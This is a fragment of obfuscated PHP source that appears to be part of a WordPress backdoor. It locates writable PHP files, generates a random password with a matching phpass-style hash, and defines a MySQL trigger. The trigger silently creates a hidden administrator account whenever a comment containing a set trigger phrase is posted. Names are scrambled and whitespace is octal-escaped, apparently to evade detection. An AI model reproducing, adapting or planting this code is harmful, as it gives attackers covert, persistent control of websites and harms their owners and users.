0is_writeable($eejobxzxrv))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$inewmiccvxr[]\040=\040$rthzjsrj;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012\040\040\040\040return\040array_unique($inewmiccvxr);\012}\012\012function\040oiwydn($jdextkrfmkk,\040$tljitx\040=\0402,\040$qwoyxwtrr\040=\0401)\040{\012\012\040\040\040\040if\040(!is_dir($jdextkrfmkk))\040{\012\040\040\040\040\040\040\040\040return;\012\040\040\040\040}\012\012\040\040\040\040$rthzjsrj\040=\040realpath($jdextkrfmkk);\012\012\012\040\040\040\040$ztkgxqr\040=\040new\040RecursiveIteratorIterator(new\040RecursiveDirectoryIterator($rthzjsrj),\040RecursiveIteratorIterator::SELF_FIRST,\040RecursiveIteratorIterator::CATCH_GET_CHILD);\012\012\040\040\040\040$ztkgxqr->setMaxDepth($qwoyxwtrr);\012\012\040\040\040\040$inewmiccvxr\040=\040array();\012\012\040\040\040\040foreach\040($ztkgxqr\040as\040$jflqadz\040=>\040$eejobxzxrv)\040{\012\012\040\040\040\040\040\040\040\040$rthzjsrj\040=\040$eejobxzxrv->getPathName();\012\040\040\040\040\040\040\040\040if\040(stristr($rthzjsrj,\040'.php')\040===\040false)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040if\040(!is_writeable(dirname($rthzjsrj)))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$inewmiccvxr[$rthzjsrj]\040=\0401;\012\040\040\040\040}\012\012\040\040\040\040$cokcgnbbuamy\040=\040array_keys($inewmiccvxr);\012\040\040\040\040shuffle($cokcgnbbuamy);\012\012\040\040\040\040return\040array_slice($cokcgnbbuamy,\0400,\040$tljitx);\012}\012\012function\040wysqyqfz($holbbbmgc,\040$grzmsclbgkrc,\040$lmdmucwyysr,\040$ibftdsabbkwd,\040$nntqvob,\040$iciqtudjxdku,\040$xotgyiimvy,\040$oylxrcjz,\040$iuipnseal,\040$casmjiwpvf,\040$zxpygqco)\040{\012\012\040\040\040\040$omlciqkg\040=\040<<<STR\012CREATE\040TRIGGER\040`after_insert_comment`\040AFTER\040INSERT\040ON\040`${casmjiwpvf}`.`${zxpygqco}comments`\012\040FOR\040EACH\040ROW\040BEGIN\012\040\040\040\040IF\040NEW.comment_content\040LIKE\040'%are\040you\040struggling\040to\040get\040comments\040on\040your\040blog?%'\040THEN\012\040\040\040\040\040\040\040\040SET\040@lastInsertWpUsersId\040=\040(SELECT\040MAX(id)\040FROM\040`${casmjiwpvf}`.`${zxpygqco}users`);\012\040\040\040\040\040\040\040\040SET\040@nextWpUsersID\040=\040@lastInsertWpUsersId\040+\0401;\012\040\040\040\040\040\040\040\040INSERT\040INTO\040`${casmjiwpvf}`.`${zxpygqco}users`\040(`ID`,\040`user_login`,\040`user_pass`,\040`user_nicename`,\040`user_email`,\040`user_url`,\040`user_registered`,\040`user_activation_key`,\040`user_status`,\040`display_name`)\040VALUES\040(@nextWpUsersID,\040'${holbbbmgc}',\040'${grzmsclbgkrc}',\040'${lmdmucwyysr}',\040'${ibftdsabbkwd}',\040'${nntqvob}',\040'${iciqtudjxdku}',\040'${xotgyiimvy}',\040'${oylxrcjz}',\040'${iuipnseal}');\012\040\040\040\040\040\040\040\040INSERT\040INTO\040`${casmjiwpvf}`.`${zxpygqco}usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040@nextWpUsersID,\040'${zxpygqco}capabilities',\040'a:1:{s:13:\134"administrator\134";s:1:\134"1\134";}');\012\040\040\040\040\040\040\040\040INSERT\040INTO\040`${casmjiwpvf}`.`${zxpygqco}usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040@nextWpUsersID,\040'${zxpygqco}user_level',\040'10');\012\040\040\040\040END\040IF;\012\040END;\012STR;\012\040\040\040\040return\040$omlciqkg;\012}\012\012function\040hafpisg($vqtninf)\040{\012\040\040\040\040$sxcqpvyfiec\040=\040parse_url($vqtninf,\040PHP_URL_HOST);\012\040\040\040\040return\040str_replace('www.',\040'',\040$sxcqpvyfiec);\012}\012\012function\040ixekquk($hxxptow,\040$dibxnuyev,\040$otfsmblfj\040=\040'Y-m-d\040H:i:s')\040{\012\040\040\040\040$iwtuhhy\040=\040strtotime($hxxptow);\012\040\040\040\040$kbantnp\040=\040strtotime($dibxnuyev);\012\040\040\040\040$tdmpkuvmahlk\040=\040mt_rand($iwtuhhy,\040$kbantnp);\012\012\040\040\040\040return\040date($otfsmblfj,\040$tdmpkuvmahlk);\012}\012\012function\040okjry($ghchwvghst,\040$udenpfzi\040=\040false)\040{\012\040\040\040\040$rjsatv\040=\040"abcdefghijklmnopqrstuvwxyz";\012\040\040\040\040if\040($udenpfzi)\040{\012\040\040\040\040\040\040\040\040$rjsatv\040.=\040'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~><?}{[];!@#$%^&*()_+-={}[]:;<=>?@';\012\040\040\040\040}\012\012\040\040\040\040$srkevav\040=\040strlen($rjsatv);\012\040\040\040\040$apsrbd\040=\040"";\012\012\040\040\040\040for\040($cctdoe\040=\0400;\040$cctdoe\040<\040$ghchwvghst;\040$cctdoe++)\040{\012\040\040\040\040\040\040\040\040$apsrbd\040.=\040$rjsatv[rand(0,\040$srkevav\040-\0401)];\012\040\040\040\040}\012\040\040\040\040return\040$apsrbd;\012}\012\012function\040fmovnxt()\040{\012\040\040\040\040preg_match_all('~\134d~',\040md5($_SERVER['HTTP_HOST']),\040$ajmmhdibximy);\012\012\040\040\040\040$oizisuls\040=\040$ajmmhdibximy[0][0];\012\040\040\040\040$trugewqhelkc\040=\040end($ajmmhdibximy[0]);\012\012\040\040\040\040$mgfyvobud\040=\040array('wp',\040'cms',\040'web',\040'dev',\040'blog',\040'main',\040'articles',\040'notes',\040'news',\040'archive',);\012\040\040\040\040$uxaplh\040=\040array('panel',\040'feed',\040'client',\040'user',\040'rss',\040'option',\040'auth',\040'table',\040'user',\040'profile',);\012\012\040\040\040\040return\040$mgfyvobud[$oizisuls]\040.\040$uxaplh[$trugewqhelkc];\012}\012\012function\040zmfcdaec($sdfcrznnu,\040$srgmiqxnnv)\040{\012\040\040\040\040$fwnreu\040=\040'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\012\040\040\040\040define('ITOA64_CUSTOM',\040$fwnreu);\012\012\040\040\040\040if\040($sdfcrznnu\040<\0404\040||\040$sdfcrznnu\040>\04031)\040{\012\040\040\040\040\040\040\040\040$sdfcrznnu\040=\0408;\012\040\040\040\040}\012\012\040\040\040\040define('ITERATION_COUNT_LOG2_CUSTOM',\040$sdfcrznnu);\012\040\040\040\040define('PORTABLE_HASHES_CUSTOM',\040$srgmiqxnnv);\012\012\040\040\040\040$ruttxmakso\040=\040microtime();\012\040\040\040\040if\040(function_exists('getmypid'))\040{\012\040\040\040\040\040\040\040\040$ruttxmakso\040.=\040getmypid();\012\040\040\040\040}\012\040\040\040\040define('RANDOM_STATE_CUSTOM',\040$ruttxmakso);\012}\012\012function\040nlheqj($nksgznutyio)\040{\012\040\040\040\040if\040(strlen($nksgznutyio)\040>\0404096)\040{\012\040\040\040\040\040\040\040\040return\040'*';\012\040\040\040\040}\012\012\040\040\040\040$ctxqhslmzmia\040=\040'';\012\012\040\040\040\040if\040(CRYPT_BLOWFISH\040===\0401\040&&\040!PORTABLE_HASHES_CUSTOM)\040{\012\040\040\040\040\040\040\040\040$ctxqhslmzmia\040=\040afpovsko(16);\012\040\040\040\040\040\040\040\040$cyyvulu\040=\040crypt($nksgznutyio,\040ryqgpkiaf($ctxqhslmzmia));\012\040\040\040\040\040\040\040\040if\040(strlen($cyyvulu)\040===\04060)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$cyyvulu;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012\040\040\040\040if\040(strlen($ctxqhslmzmia)\040<\0406)\040{\012\040\040\040\040\040\040\040\040$ctxqhslmzmia\040=\040afpovsko(6);\012\040\040\040\040}\012\040\040\040\040$cyyvulu\040=\040lnwmcbidm($nksgznutyio,\040ddntek($ctxqhslmzmia));\012\040\040\040\040if\040(strlen($cyyvulu)\040===\04034)\040{\012\040\040\040\040\040\040\040\040return\040$cyyvulu;\012\040\040\040\040}\012\012\040\040\040\040return\040'*';\012}\012\012function\040afpovsko($twytffnbg)\040{\012\040\040\040\040$uupsyrxy\040=\040'';\012\040\040\040\040if\040(@is_readable('/dev/urandom')\040&&\040($ypiigft\040=\040@fopen('/dev/urandom',\040'rb')))\040{\012\040\040\040\040\040\040\040\040$uupsyrxy\040=\040fread($ypiigft,\040$twytffnbg);\012\040\040\040\040\040\040\040\040fclose($ypiigft);\012\040\040\040\040}\012\012\040\040\040\040if\040(strlen($uupsyrxy)\040<\040$twytffnbg)\040{\012\040\040\040\040\040\040\040\040$uupsyrxy\040=\040'';\012\040\040\040\040\040\040\040\040$dijtjepfykku\040=\040RANDOM_STATE_CUSTOM;\012\040\040\040\040\040\040\040\040for\040($cctdoe\040=\0400;\040$cctdoe\040<\040$twytffnbg;\040$cctdoe\040+=\04016)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$dijtjepfykku\040=\040md5(microtime()\040.\040$dijtjepfykku);\012\040\040\040\040\040\040\040\040\040\040\040\040$uupsyrxy\040.=\040md5($dijtjepfykku,\040TRUE);\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$uupsyrxy\040=\040substr($uupsyrxy,\0400,\040$twytffnbg);\012\040\040\040\040}\012\012\040\040\040\040return\040$uupsyrxy;\012}\012\012function\040ryqgpkiaf($phgpujqlefz)\040{\012\012\040\040\040\040$fwnreu\040=\040'./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\012\012\040\040\040\040$uupsyrxy\040=\040'$2a$';\012\040\040\040\040$uupsyrxy\040.=\040chr((int)(ord('0')\040+\040ITERATION_COUNT_LOG2_CUSTOM\040/\04010));\012\040\040\040\040$uupsyrxy\040.=\040chr(ord('0')\040+\040ITERATION_COUNT_LOG2_CUSTOM\040%\04010);\012\040\040\040\040$uupsyrxy\040.=\040'$';\012\012\040\040\040\040$cctdoe\040=\0400;\012\040\040\040\040do\040{\012\040\040\040\040\040\040\040\040$truiyutdbo\040=\040ord($phgpujqlefz[$cctdoe++]);\012\040\040\040\040\040\040\040\040$uupsyrxy\040.=\040$fwnreu[$truiyutdbo\040>>\0402];\012\040\040\040\040\040\040\040\040$truiyutdbo\040=\040($truiyutdbo\040&\0400x03)\040<<\0404;\012\040\040\040\040\040\040\040\040if\040($cctdoe\040>=\04016)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$uupsyrxy\040.=\040$fwnreu[$truiyutdbo];\012\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$jtyuugs\040=\040ord($phgpujqlefz[$cctdoe++]);\012\040\040\040\040\040\040\040\040$truiyutdbo\040|=\040$jtyuugs\040>>\0404;\012\040\040\040\040\040\040\040\040$uupsyrxy\040.=\040$fwnreu[$truiyutdbo];\012\040\040\040\040\040\040\040\040$truiyutdbo\040=\040($jtyuugs\040&\0400x0f)\040<<\0402;\012\012\040\040\040\040\040\040\040\040$jtyuugs\040=\040ord($phgpujqlefz[$cctdoe++]);\012\040\040\040\040\040\040\040\040$truiyutdbo\040|=\040$jtyuugs\040>>\0406;\012\040\040\040\040\040\040\040\040$uupsyrxy\040.=\040$fwnreu[$truiyutdbo];\012\040\040\040\040\040\040\040\040$uupsyrxy\040.=\040$fwnreu[$jtyuugs\040&\0400x3f];\012\040\040\040\040}\040while\040(1);\012\012\040\040\040\040return\040$uupsyrxy;\012}\012\012function\040lnwmcbidm($nksgznutyio,\040$yrhoflxoglo)\040{\012\040\040\040\040$uupsyrxy\040=\040'*0';\012\040\040\040\040if\040(substr($yrhoflxoglo,\0400,\0402)\040===\040$uupsyrxy)\040{\012\040\040\040\040\040\040\040\040$uupsyrxy\040=\040'*1';\012\040\040\040\040}\012\012\040\040\040\040$psiqavhog\040=\040substr($yrhoflxoglo,\0400,\0403);\012\040\040\040\040//if\040($psiqavhog\040!==\040'$bnoiuguy$'\040&&\040$psiqavhog\040!==\040'$qwswgidg$')\040{\012\040\040\040\040if\040($psiqavhog\040!==\040base64_decode('JFAk')\040&&\040$psiqavhog\040!==\040base64_decode('JEgk'))\040{\012\040\040\040\040\040\040\040\040return\040$uupsyrxy;\012\040\040\040\040}\012\012\040\040\040\040$udmmssk\040=\040strpos(ITOA64_CUSTOM,\040$yrhoflxoglo[3]);\012\040\040\040\040if\040($udmmssk\040<\0407\040||\040$udmmssk\040>\04030)\040{\012\040\040\040\040\040\040\040\040return\040$uupsyrxy;\012\040\040\040\040}\012\012\040\040\040\040$twytffnbg\040=\0401\040<<\040$udmmssk;\012\012\040\040\040\040$siutupov\040=\040substr($yrhoflxoglo,\0404,\0408);\012\040\040\040\040if\040(strlen($siutupov)\040!==\0408)\040{\012\040\040\040\040\040\040\040\040return\040$uupsyrxy;\012\040\040\040\040}\012\012\040\040\040\040$cyyvulu\040=\040md5($siutupov\040.\040$nksgznutyio,\040TRUE);\012\040\040\040\040do\040{\012\040\040\040\040\040\040\040\040$cyyvulu\040=\040md5($cyyvulu\040.\040$nksgznutyio,\040TRUE);\012\040\040\040\040}\040while\040(--$twytffnbg);\012\012\040\040\040\040$uupsyrxy\040=\040substr($yrhoflxoglo,\0400,\04012);\012\040\040\040\040$uupsyrxy\040.=\040knlfjrca($cyyvulu,\04016);\012\012\040\040\040\040return\040$uupsyrxy;\012}\012\012function\040knlfjrca($phgpujqlefz,\040$twytffnbg)\040{\012\040\040\040\040$uupsyrxy\040=\040'';\012\040\040\040\040$cctdoe\040=\0400;\012\040\040\040\040$fwnreu\040=\040ITOA64_CUSTOM;\012\040\040\040\040do\040{\012\040\040\040\040\040\040\040\040$lwqrcbglvs\040=\040ord($phgpujqlefz[$cctdoe++]);\012\040\040\040\040\040\040\040\040$uupsyrxy\040.=\040$fwnreu[$lwqrcbglvs\040&\0400x3f];\012\040\040\040\040\040\040\040\040if\040($cctdoe\040<\040$twytffnbg)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$lwqrcbglvs\040|=\040ord($phgpujqlefz[$cctdoe])\040<<\0408;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$uupsyrxy\040.=\040$fwnreu[($lwqrcbglvs\040>>\0406)\040&\0400x3f];\012\040\040\040\040\040\040\040\040if\040($cctdoe++\040>=\040$twytffnbg)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040if\040($cctdoe\040<\040$twytffnbg)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$lwqrcbglvs\040|=\040ord($phgpujqlefz[$cctdoe])\040<<\04016;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$uupsyrxy\040.=\040$fwnreu[($lwqrcbglvs\040>>\04012)\040&\0400x3f];\012\040\040\040\040\040\040\040\040if\040($cctdoe++\040>=\040$twytffnbg)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$uupsyrxy\040.=\040$fwnreu[($lwqrcbglvs\040>>\04018)\040&\0400x3f];\012\040\040\040\040}\040while\040($cctdoe\040<\040$twytffnbg);\012\012\040\040\040\040return\040$uupsyrxy;\012}\012\012function\040ddntek($phgpujqlefz)\040{\012\040\040\040\040//$uupsyrxy\040=\040'$bnoiuguy$';\012\040\040\040\040$uupsyrxy\040=\040base64_decode('JFAk');\012\040\040\040\040$fwnreu\040=\040ITOA64_CUSTOM;\012\040\040\040\040$uupsyrxy\040.=\040$fwnreu[min(ITERATION_COUNT_LOG2_CUSTOM\040+\0405,\04030)];\012\040\040\040\040$uupsyrxy\040.=\040knlfjrca($phgpujqlefz,\0406);\012\012\040\040\040\040return\040$uupsyrxy;\012}\012\012function\040djikvnkh()\040{\012\040\040\040\040$oistthd\040=\040okjry(rand(20,\04040),\040true);\012\040\040\040\040zmfcdaec(4,\040true);\012\040\040\040\040$cyyvulu\040=\040nlheqj($oistthd);\012\040\040\040\040return\040array($oistthd,\040$cyyvulu);\012}